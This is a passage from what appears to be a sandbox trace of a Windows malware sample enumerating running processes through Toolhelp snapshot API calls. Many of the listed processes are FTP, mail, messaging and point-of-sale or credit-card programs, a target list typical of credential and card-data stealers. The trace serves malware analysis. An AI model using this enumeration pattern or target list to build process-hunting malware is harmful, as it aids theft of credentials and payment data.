szExeFile="leechftp.exe")) returned 1 [0264.678] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0264.680] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0264.683] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0264.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0264.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0264.691] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0264.693] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0264.695] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0264.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0264.699] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0264.701] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0264.703] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0264.706] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0264.708] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0264.710] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0264.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0264.714] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0264.716] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0264.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0264.720] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0264.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0264.724] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0264.726] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0264.729] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0264.731] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0264.734] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0264.736] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0264.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0264.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0264.743] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0264.745] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0264.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0264.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.750] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0264.842] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0264.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0264.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0264.852] CloseHandle (hObject=0x2200) returned 1 [0264.852] Sleep (dwMilliseconds=0x64) [0264.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0264.914] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.921] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.926] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.928] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.931] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.933] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.937] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.939] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.941] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.943] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.946] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.948] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.950] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.952] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.954] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.956] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.959] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.961] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.963] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.965] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.968] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.970] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0264.972] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.977] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.979] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.982] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.984] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.986] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.988] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0264.991] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.993] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.998] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.000] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.003] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.005] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0265.039] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0265.042] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0265.044] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0265.046] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0265.049] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0265.051] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 